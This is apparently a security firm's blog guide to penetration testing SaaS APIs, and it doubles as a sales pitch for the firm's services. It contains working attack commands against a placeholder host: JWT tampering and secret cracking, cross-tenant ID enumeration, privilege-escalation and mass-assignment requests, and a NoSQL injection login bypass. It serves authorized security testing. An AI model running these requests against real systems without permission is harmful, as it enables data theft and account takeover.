Date
November 9, 2026
Author
Karan Patel
,
CEO

Nearly every modern SaaS product is an API wearing a user interface. The web dashboard, the mobile client, the partner integrations, the webhooks and the internal admin tools all speak to the same backend endpoints. That makes the API layer the true attack surface, and it is where the majority of serious SaaS incidents begin.

The trouble is that most automated scanners were designed for page-based websites. They crawl links, fuzz form fields and flag reflected input. What they cannot do is reason that /api/v2/invoices/8841 belongs to Tenant A and should never be visible to a user in Tenant B. They have no concept of object ownership, role boundaries or multi-step business workflows. That blind spot is precisely where a skilled human tester delivers value a tool never will.

This guide walks through the methodology a professional API pentest follows against a multi-tenant SaaS platform, the tooling used at each phase, and the findings that surface again and again in real engagements.

What Does API Security Testing for SaaS Actually Cover?

API security testing is a structured assessment of the endpoints your application exposes, aimed at finding weaknesses in authentication, authorization, input handling, data exposure and business logic. For SaaS specifically, it has to answer three questions generic scans skip:

  • Can one tenant read, change or delete another tenant's data?
  • Can a low-privilege user carry out actions reserved for admins or owners?
  • Can the API be abused to break billing, quotas or workflow integrity?

Most testers map findings to the OWASP API Security Top 10 (2023). In practice, a handful of categories account for the bulk of critical SaaS findings: Broken Object Level Authorization (API1), Broken Authentication (API2), Broken Object Property Level Authorization (API3), Unrestricted Resource Consumption (API4) and Broken Function Level Authorization (API5).

The API Pentest Methodology, Phase by Phase

A quality engagement is a sequence, not a single tool run. Each phase feeds the next.

Phase 1: Scoping and Multi-Tenant Test Accounts

Before a single request is sent, the tester needs the right access. For a multi-tenant SaaS app the minimum useful setup is:

  • Two separate tenants (call them Org A and Org B)
  • At least two roles inside each tenant, such as Owner and Member
  • API documentation where it exists: an OpenAPI or Swagger spec, a Postman collection or a GraphQL schema
  • Any customer-generatable API keys, OAuth clients or service tokens

Without two tenants, cross-tenant authorization testing becomes guesswork. This is the most common scoping gap we see, and it is why the team at Redfox Cybersecurity requests multi-tenant test accounts during kickoff for every API penetration testing engagement.

Phase 2: How Do You Find Undocumented API Endpoints?

Documentation is always incomplete. Shadow endpoints, deprecated versions and internal-only routes are where the nastiest bugs live. Discovery blends passive and active techniques.

Begin by pulling every route the front end references out of the JavaScript bundles:

# Crawl the app and collect JS assets, then extract API paths
katana -u https://app.target-saas.com -jc -d 3 -silent \
 | grep -E "\.js(\?|$)" | sort -u > js_files.txt

cat js_files.txt | while read url; do
 curl -s "$url" | grep -oE '"/api/[a-zA-Z0-9_/{}.-]+"'
done | sort -u > api_paths_from_js.txt

[cta]

Then brute force routes with an API-aware tool. Kiterunner outperforms directory busters here because it replays full request shapes (method, path, headers and body) built from real OpenAPI data, and because it enumerates old API versions that often skip newer auth checks:

# Content discovery against the API host with the Assetnote routes dataset
kr scan https://api.target-saas.com \
 -w routes-large.kite \
 -H "Authorization: Bearer $TOKEN_A_MEMBER" \
 --fail-status-codes 404,400 -x 20 -j 50 -o kr_results.txt

# Version sweep: legacy paths frequently lack current controls
for v in v1 v2 v3 beta internal legacy; do
 code=$(curl -s -o /dev/null -w "%{http_code}" \
   -H "Authorization: Bearer $TOKEN_A_MEMBER" \
   "https://api.target-saas.com/$v/users/me")
 echo "$v -> $code"
done

[cta]

Hidden parameters matter as much as hidden paths. Arjun surfaces query and body parameters the server accepts but the UI never sends:

arjun -u https://api.target-saas.com/v2/users/me \
 -m JSON \
 --headers "Authorization: Bearer $TOKEN_A_MEMBER" \
 -oJ arjun_users_me.json

[cta]

When a spec is available, import it into Burp Suite Professional and Postman so every documented operation lands in your proxy history from day one. A guided, consultant-led version of this discovery work is part of the scope on every SaaS penetration testing project.

Phase 3: Testing Authentication and Token Handling

SaaS APIs usually lean on JWTs, opaque session tokens or OAuth 2.0 bearer tokens. The tester checks how those tokens are issued, validated and revoked.

For JWTs, the classic failures are weak signature validation and accepting the alg: none type. Inspect the token first, then probe how the server validates it:

# Decode a captured JWT header and payload
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null; echo

# Tamper and resign with common attacks using jwt_tool
python3 jwt_tool.py "$JWT" -X a      # alg:none / blank signature
python3 jwt_tool.py "$JWT" -C -d rockyou.txt   # crack a weak HMAC secret

[cta]

Beyond signatures, confirm that tokens actually expire, that logout invalidates them server-side, that refresh tokens cannot be replayed indefinitely, and that one tenant's token is rejected on another tenant's resources. Rate limiting on login, password reset and OTP endpoints is part of this phase too, since unthrottled auth flows invite credential stuffing.

What Vulnerabilities Does a Real SaaS API Pentest Find?

This is the section customers care about most. Below are the findings that appear in engagement after engagement, with how a tester actually proves them.

Broken Object Level Authorization (BOLA / IDOR)

API1 is the number one SaaS killer. The server trusts an object ID in the request without checking that the caller owns it. The test is simple in concept: authenticate as Org A, capture a request for one of Org A's objects, then replay it with Org B's token and the same ID.

# Org A legitimately reads its own invoice
curl -s -H "Authorization: Bearer $TOKEN_A_MEMBER" \
 https://api.target-saas.com/v2/invoices/8841 | jq .

# Org B replays the exact same object ID. A 200 with Org A data is a BOLA
curl -s -H "Authorization: Bearer $TOKEN_B_MEMBER" \
 https://api.target-saas.com/v2/invoices/8841 -w "\nHTTP %{http_code}\n"

[cta]

Because this is repetitive across hundreds of endpoints, the Burp Suite extension Autorize automates it. Configure it with the low-privilege or second-tenant token and browse as the high-privilege user; Autorize flags every response that comes back identical when it should have been denied. Numeric IDs can be swept at scale, where object identifiers are not UUIDs:

# Enumerate sequential IDs with a second tenant's token
ffuf -w ids.txt \
 -u "https://api.target-saas.com/v2/invoices/FUZZ" \
 -H "Authorization: Bearer $TOKEN_B_MEMBER" \
 -mc 200 -o bola_hits.json -of json

[cta]

Cross-tenant data leakage like this is the finding that most often lands in the Critical column of a Redfox Cybersecurity report, and it is almost never caught by automated scanning alone.

Broken Function Level Authorization

API5 is the role-based cousin of BOLA. Here a Member calls an endpoint that only an Admin should reach, often just by changing the HTTP method or the path. Capture the admin-only action, then fire it with a low-privilege token:

# A Member attempts an admin-only role change
curl -s -X PATCH \
 -H "Authorization: Bearer $TOKEN_A_MEMBER" \
 -H "Content-Type: application/json" \
 -d '{"role":"owner"}' \
 https://api.target-saas.com/v2/orgs/A/members/7781 -w "\nHTTP %{http_code}\n"

[cta]

Also test method confusion: a GET may be protected while a forgotten DELETE or PUT on the same route is wide open.

Broken Object Property Level Authorization (Mass Assignment)

API3 covers two mistakes: the API returns properties the user should not see, and it accepts properties the user should not be able to set. Mass assignment is the write side. Add fields the UI never exposes and see if the server honors them:

# Smuggle privileged fields into a profile update
curl -s -X PUT \
 -H "Authorization: Bearer $TOKEN_A_MEMBER" \
 -H "Content-Type: application/json" \
 -d '{"displayName":"karan","isAdmin":true,"plan":"enterprise","org_id":"B"}' \
 https://api.target-saas.com/v2/users/me -w "\nHTTP %{http_code}\n" | jq .

[cta]

If isAdmin, plan or org_id sticks, you have escalated privilege, upgraded a billing tier for free, or moved yourself into another tenant.

Unrestricted Resource Consumption

API4 is about limits that do not exist. Pagination parameters that accept absurd values, bulk endpoints with no cap, and expensive operations with no throttle all let an attacker degrade service or run up the customer's cloud bill:

# Oversized page size can dump an entire table and strain the backend
curl -s -H "Authorization: Bearer $TOKEN_A_MEMBER" \
 "https://api.target-saas.com/v2/events?limit=1000000&page=1" \
 -w "\nbytes=%{size_download} time=%{time_total}\n" -o /dev/null

[cta]

GraphQL-Specific Issues

If the SaaS exposes GraphQL, introspection is the first thing to test. An exposed schema hands an attacker the full map of types, queries and mutations:

# Introspection query to dump the entire schema
curl -s -X POST https://api.target-saas.com/graphql \
 -H "Authorization: Bearer $TOKEN_A_MEMBER" \
 -H "Content-Type: application/json" \
 -d '{"query":"{__schema{types{name fields{name}}}}"}' | jq '.data.__schema.types[].name'

[cta]

From there, deeply nested queries test for denial of service through query depth, and aliased batch queries test whether a single request can brute force or exfiltrate at scale. Tools like InQL (a Burp extension) and clairvoyance help reconstruct a schema even when introspection is disabled.

Injection and Server-Side Request Forgery

Input that flows into a database, a shell or an outbound request still deserves attention, even if it is rarer than authorization flaws in modern SaaS. NoSQL operator injection is common where MongoDB sits behind a JSON API:

# NoSQL operator injection to bypass a filter or auth check
curl -s -X POST https://api.target-saas.com/v2/login \
 -H "Content-Type: application/json" \
 -d '{"email":"admin@target.com","password":{"$ne":null}}' \
 -w "\nHTTP %{http_code}\n"

[cta]

SSRF deserves special focus in SaaS because so many features (webhook URLs, avatar imports, PDF rendering, link previews) fetch attacker-supplied URLs. Point those at cloud metadata endpoints and internal services and watch what comes back. A Redfox Cybersecurity tester will chain an SSRF against a webhook feature into cloud credential theft when the environment allows it, which is the kind of impact-driven finding that separates a real web application and API pentest from a scan report.

The Professional-Grade API Testing Toolkit

No single tool covers the workflow. A typical engagement leans on this stack:

  • Burp Suite Professional as the interception proxy, with Autorize for authorization testing, InQL for GraphQL and Param Miner for hidden parameters
  • Kiterunner for API-aware content discovery
  • Arjun for parameter discovery
  • ffuf for high-speed fuzzing and ID enumeration
  • jwt_tool for token attacks
  • mitmproxy for scripting and mobile client interception
  • Postman and a saved OpenAPI spec to keep documented operations organized
  • nuclei with API templates for fast, low-noise checks against known patterns

The tools matter, but the judgment to chain findings into real business impact is what turns a list of weaknesses into a risk a leadership team will fund fixing.

How Much Does a SaaS API Pentest Cost?

Pricing scales with scope, number of roles, and whether GraphQL or complex workflows are involved. At Redfox Cybersecurity, the Web App plus API package starts at $4,000 and runs over roughly five business days, covering one web application and one API with authenticated roles. Teams that also want their cloud configuration and external perimeter assessed in a single report usually move to the Audit Bundle, which combines web, API, external and cloud testing over about fifteen business days. Scoping a multi-tenant platform correctly up front keeps the engagement focused on the authorization and business-logic flaws that actually matter, rather than drowning the report in low-severity noise. You can compare scopes and request a tailored quote directly through the Redfox Cybersecurity services page.

How Often Should SaaS Teams Run API Security Testing?

For an actively developed SaaS product, once a year is not enough. New endpoints ship every sprint, and each one is a chance to reintroduce a BOLA or a mass-assignment bug. A practical cadence looks like this:

  • A full manual API pentest at least annually, and after any major architectural change
  • A focused retest after critical findings are remediated, to confirm the fix holds
  • Continuous automated checks in CI using nuclei and schema-diff tooling to catch regressions between pentests
  • A fresh assessment whenever a new tenant model, authentication provider or third-party integration is introduced

Pairing an annual deep manual engagement with lightweight automation between cycles gives the strongest coverage for the money.

Key Takeaways

API security testing for SaaS is fundamentally an authorization and business-logic exercise, not a scanner run. The findings that end careers and trigger breach disclosures are cross-tenant data access, privilege escalation through function-level flaws, and mass assignment, none of which a generic tool reliably catches. A real pentest proves these issues by replaying requests across tenants and roles, reasoning about object ownership, and chaining weaknesses into demonstrable impact.

If your product exposes an API, and every SaaS product does, the question is not whether these flaws exist but whether you find them before someone else does. The team at Redfox Cybersecurity runs hands-on, multi-tenant API assessments mapped to the OWASP API Security Top 10, with findings that come with reproduction steps and remediation guidance your engineers can act on. Get in touch through the Redfox Cybersecurity website to scope an engagement for your platform.

Copy Code